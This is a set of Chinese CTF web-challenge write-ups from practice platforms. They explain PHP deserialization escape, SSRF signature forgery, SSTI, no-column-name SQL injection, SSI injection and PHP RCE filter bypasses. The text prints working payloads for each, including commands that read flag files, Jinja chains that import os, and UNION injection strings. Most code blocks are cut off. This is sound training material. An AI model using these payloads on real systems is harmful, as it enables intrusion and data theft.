提示phpinfo()有东西,可以先看看phpinfo(),传入f=phpinfo,发现如下,每个文件自动包含了 d0g3_f1ag.php,直接访问没东西
根据题目我们知道,题目是先序列化$_SESSION,然后再经过一个过滤函数,然后再反序列化,这样就产生了一个问题,过滤函数会替换掉一些关键词,这样就会造成反序列化的对象逃逸问题~~
逃逸实现
我们这里首先需要
get传参:?f=show_image
post调用extract函数实现变量覆盖,例如post传参
1 | _SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";} |
ZDBnM19mMWFnLnBocA==也就是d0g3_f1ag.php的base64加密。
s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;}这个肯定就是我们预期的那段序列化字符,
那么 ;s:1:”1”; 这几个字符呢?
如果使用大佬的payload那么可以明白,现在的_SESSION就存在两个键值即phpflag和img对应的键值对。
1 | $_SESSION['phpflag']=";s:1:\"1\";s:3:\"img\";s:20:\"ZDBnM19mMWFnLnBocA==\";}"; |
经过filter过滤后phpflag就会被替换成空,
s:7:”phpflag”;s:48:” 就变成了 s:7:””;s:48:”;即完成了逃逸。
两个键值分别被序列化成了
s:7:””;s:48:”;s:1:”1”;即键名叫”;s:48: 对应的值为一个字符串1。这个键值对只要能瞒天过海就行。
s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;键名img对应的字符串是d0g3_f1ag.php的base64编码。
右花括号后面的;s:3:”img”;s:20:”Z3Vlc3RfaW1nLnBuZw==”;}”全被当成孤儿放弃了。
[De1CTF 2019]SSRF Me
1 | #! /usr/bin/env python |
额直接上源代码,Python的flask框架的题,先看他路由,一共三个路由
index是直接展示源代码,geneSign首先获取了param的值,把action赋为scan,返回getSign(action,param),getSign(action,param),返回md5(secert_key+param+action)的值,然后再看De1ta,get接受了param,cookie里接收了action和sign,然后通过了一个waf函数,判断传入的参数是否有gopher和file,如果没有就执行Task对象里的Exec方法,跟进Task中的Exec()方法,可以发现这里面还有个checkSign(),并且在这里面调用了getSign()方法,结果与sign进行比较,但是这里还有个secert_key未知,然后会进行一个result.txt,然后2个if,判断scan或read 是否在action内,在则,前者是把param对应文件的内容写入result.txt,后者是把result.txt取出来并返还给我们,也就是说,这2个if我们都需要调用,这样就能获取到flag,而scan和read的判断是包含,所以我们的action就可以是readscan,或者scanread,那sign怎么获取呢?
这里我们思路就来了,我们最终应该是要读取flag.txt 里的内容,接受要从flag.txt里的内容给到result.txt,然后读取result.txt,所以我们的action必须同时包含read和scan,也就是说我们的action=readscan,param是我们的flag.txt,然后这里要getSign()的结果和sign一样,也就是说md5(secert_key + param + action)==我们传入的sign,这里param是flag.txt,action是readscan,缺少一个secert_key,但是param没有对我们的输入进行过滤和限制,在/geneSign这个路由下他就会返回一个md5(secert_key+param+action),只是我们之前的md5加密前是secert_keyflag.txtscan,传入的是secert_keyflag.txtreadscan,所以我们这里直接先访问/geneSign页面,传入param=flag.txtread
这样我们就能够得到md5(secert_key+flag.txtreadscan)的md5值,然后在cookie里传入 sign=d979658286b2f90fe8d007d833ddfa19
action=readscan get传入param=flag.txt即可
[CISCN 2019 初赛]Love Math
1 | <?php |
源码入下,传入一个参数c,长度不超过80,同时存在黑名单,过滤空格,[,]单引号等
白名单里是一些函数,他把我们输入的存放到了used_funcs这个数组里,规定我们只能使用白名单里的函数
来提一个概念:php中可以把函数名通过字符串的方式传递给一个变量,然后通过此变量动态调用函数比如下面的代码会执行 system(‘ls’);
1 | $a='system'; |
1 | scandir() 函数:返回指定目录中的文件和目录的数组。 |
80个字符比较少,想办法构造$_GET[1]
再传参getflag,但是其实发现构造这个好像更难。。。因为$
、_
、[
、]
都不能用,同时GET
必须是大写,很难直接构造。
一种payload是这样
1 | $pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=tac flag.php |
1 | base_convert(37907361743,10,36) => "hex2bin" |
[WesternCTF2018]shrine
1 | import flask//flask模板 |
大概就是在shrine目录下利用SSTI漏洞,但是过滤了括号和config,所以需要进行绕过,验证SSTI存在
如果没有把config设置为黑名单,我们可以传入/shrine/,他这里进行了过滤
python还有一些内置函数,比如url_for和get_flashed_messages
1 | /shrine/{{url_for.__globals__}} |
current_app是当前的app,那我们就直接用当前app下的config
1 | /shrine/{{url_for.__globals__['current_app'].config}} |
[SWPU2019]Web1
考查无列名注入,先注册一个账号以后进去发布广告,输入1’发现报错可能存在sql注入
空格 和 or 被过滤,报错过滤了extractvalue 和 updatexml,于是考虑用 union 联合注入,无法使用information_schema库,可以使用无列名注入
构造
1 | -1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22 |
手动探测列数,这里探测到有22列,回显位为2和3,直接查表
1 | -1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22 |
设第二列别名为b
1 | 构造-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/b,3/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22 |
设第三列别名为b
1 | 构造-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22 |
无列名注入
1 | select 1,2,3 union select * from user; 正常情况下 |
https://zhuanlan.zhihu.com/p/98206699
[MRCTF2020]PYWebsite
F12查看源代码
1 | function enc(code){ |
跳转到flag.php,直接访问
提示自己可以看到flag,抓包修改XFF头即可获得flag
[MRCTF2020]PYWebsite
1 |
|
定义了一个路由/getUrl,我们需要提交一个url,用来读取服务器端任意文件
[MRCTF2020]Ezpop
pop链构造+php伪协议读文件
1 | Welcome to index.php |
额,找链子也太简单了,直接上exp吧
1 |
|
[0CTF 2016]piapiapia
这题真的是太难了,代码审计还是太烂了,www.zip先下载源码然后进行审计
首先看index.php
1 |
|
大概就是判断了一下session中有无username,如果检测到有,说明以登陆,跳转到profile.php,如果无,post传入username和passowrd进行登陆
接着看config.php,里面有flag,但是没有内容,猜测是去读config.php文件
1 |
|
接着看profile.php
1 |
|
首先包含class.php,检测有无登陆,重要的在第二个if中的else,反序列化了一个profile以后,把profile数组里的内容赋值,并且读取了$profile[‘photo’]然后进行base64加密,利用点来了,就在这,但是我们需要传入$profile,不急,继续看其他的
来看update.php
1 |
|
先对post传入的phone,email,nickname和photo进行了正则匹配,其中nickname只能允许字符,我们这里可以通过数组绕过这个preg_match()
然后就是一个photo的文件的上传,上传路径是upload/md5($file[‘name’]),然后把$username和serialize($profile)作为参数调用update_profile()函数,继续跟进
1 | public function update_profile($username, $new_profile) { |
这里使用filter(),我们继续跟进看看他是干啥的,
1 | public function filter($string) { |
总的来说就是把$safe里的一些词替换成hacker,大概就是用来php反序列化字符逃逸的,这个自行百度吧
基本上就搞清楚了,是先经过正则表达式将用户提交的参数值过滤,然后序列化,然后将非法的值替换为’hacker’
详细步骤
- 注册账户
- 登录账户
- 随意提交一些资料抓包
- 修改nickname为nickname[],数组绕过长度检测
- 修改nickname中的内容
我们可以可以不用反序列话,就能知道它反序列化后是什么,因为它是有规律的。
a:4:{s:5:“phone”;s:11:“11111111111”;s:5:“email”;s:11:“1a2s@qq.com”;s:8:“nickname”;s:3:“123”;s:5:“photo”;s:39:“upload/f3b94e88bd1bd325af6f62828c8785dd”;}
a:4指的是由一个数组序列化而来,并且有4个值。如果是对象的话,好像是把a改成了O。然后就是一个键值名,一个变量值:
s:5:”phone”;第一个键值名,是string类型的,长度为五,s:11:”11111111111”;第一个变量值,string类型,长度为11.这就是它的规律。如果我们在这个序列化字符串的后面,再加上一些字符,后面的字符是不会被反序列化的
我们的目的是将”;}s:5:”photo”;s:10:”config.php”;}插入序列化的字符串里面去,这个的长度为34,所以我们要挤出来34位,不然就成了nickname的值了。where会替换成hacker,长度加1,所以我们要构造34个where。然后去profile.php查看读取的内容。
重新解释一下:
1 | 原本应为 |
[NPUCTF2020]ReadlezPHP
view-source:http://d01fde48-8bc4-4978-9c08-0b8316b0383c.node4.buuoj.cn:81/ 查看源码
发现time.php?source
1 |
|
额,直接构造$b($a)RCE即可,给出exp
1 |
|
在phpinfo()界面搜索flag即可
[CISCN2019 华东南赛区]Web11
提示XFF头,这里手动添加XFF,没啥反应,也就不会了
看了WP,才知道这里有模板注入
直接用system函数RCE。
1 | X-Forwarded-For:{system(‘cat /flag’)} |
[BSidesCF 2019]Futurella
额,F12就找到了
[BJDCTF2020]EasySearch
扫描到了index.php.swp
1 |
|
这里提示需要md5加密以后密码前6位是6d0bc1,这里直接用Python脚本跑
脚本:
1 | import hashlib |
跑出来的结果如下
登陆后抓包,会发现包里有一个Url_is_here,访问,这里是个SSI注入
payload:
1 | <!--#exec cmd="ls ../"--> |
[GYCTF2020]FlaskApp
真的是太难了,提示失败乃成功之母,指的是Debug模式,则需利用Flask Debug模式
在解密页面随便输,爆出源码
1 |
|
这里可以SSTI
读源码:
1 | {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %} |
waf函数发现了过滤,原来是flag和os等被过滤。
1 | def waf(str): |
利用字符串拼接找目录,发现了this_is_the_flag.txt
1 | {{''.__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}} |
读取使用切片省去了拼接flag的步骤
1 | {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %} |